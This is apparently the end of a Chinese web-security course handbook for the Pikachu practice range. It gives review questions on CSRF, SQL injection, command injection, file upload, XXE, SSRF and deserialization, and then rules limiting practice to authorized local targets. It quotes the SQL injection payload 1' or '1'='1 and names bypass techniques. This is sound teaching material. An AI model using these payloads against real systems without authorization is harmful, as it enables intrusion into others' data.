- 用一句话解释 CSRF 为什么能成立?(要点:浏览器自动携带 Cookie,服务器无法区分"本人操作"与"被伪造请求")
- GET 改 POST 能防 CSRF 吗?为什么?(要点:不能,POST 也能被自动提交表单伪造)
- CSRF Token 为什么攻击者拿不到?(要点:随机生成、同源策略保护、不在攻击者可读处)
SQL 注入
- 字符型注入 payload
1' or '1'='1 中每个部分的作用?(要点:闭合、恒真、语法补全) - 报错注入利用了什么机制把数据带出来?(要点:updatexml 等函数参数不合法→报错信息包含数据)
- 布尔盲注和时间盲注分别靠什么"信使"传数据?(要点:页面真假差异 / 响应时间)
- 宽字节注入为什么能绕过 addslashes?(要点:GBK 多字节吞掉反斜杠)
- 为什么参数化查询能防所有 SQL 注入?(要点:语句结构与数据分离,数据不再被解析为代码)
RCE / 文件包含 / 文件上传
- 命令注入里
; & && | 分别是什么作用?(要点:顺序/后台/与/管道) - 图片马为什么直接访问不执行、配合文件包含就执行?(要点:后缀不交 PHP 解释器 vs include 强制解析)
- 文件上传的三道正确防线?(要点:服务端内容校验、目录禁执行、重命名存储)
越权 / 信息泄露
- 水平越权和垂直越权的区别?(要点:同级别横向 vs 低权限上探高权限)
- "前端隐藏按钮"为什么不算权限控制?(要点:前端内容攻击者全可见,必须后端校验)
进阶漏洞
- XXE 中的 DTD 和实体是什么?(要点:DTD 定义结构、ENTITY 声明引用,外部实体可指向文件/URL)
- SSRF 为什么能突破防火墙?(要点:请求由内网服务器发出,防火墙放行)
- PHP 反序列化漏洞的根源是什么?(要点:unserialize 执行魔术方法,数据可控即代码可控)
期末实操考核说明(供参考):随机抽 3 关独立通关(不允许看手册),提交通关报告(截图 + 原理 + 修复建议)。
- 只能在本地靶场练习。对任何非授权系统(包括学校官网、同学电脑、云主机)测试漏洞,均可能触犯《刑法》第 285 条(非法侵入计算机信息系统罪)、第 286 条(破坏计算机信息系统罪)和《网络安全法》第 27 条
- 练习限
127.0.0.1 和本机局域网靶场;不得把攻击流量发到互联网真实网站 - 不传播、不出售攻击工具与手册给非课程同学;通关报告不公开发布
- 将来参与 SRC(漏洞赏金)平台时,须遵守平台授权范围,越界即违法
- 强调:学习攻击技术是为了防御,安全从业者的第一素质是底线意识
- Pikachu 源码仓库:https://github.com/zhuifengshaonianhanlu/pikachu
- PHPStudy 官网:https://www.xp.cn
- Burp Suite 社区版:https://portswigger.net/burp/communitydownload
- 中国蚁剑:https://github.com/AntSwordProject/antSword
- OWASP Top 10:https://owasp.org/www-project-top-ten/
本手册全部 payload 均针对本地 Pikachu 靶场环境,仅用于学习练习。使用时请按实际部署路径/端口微调。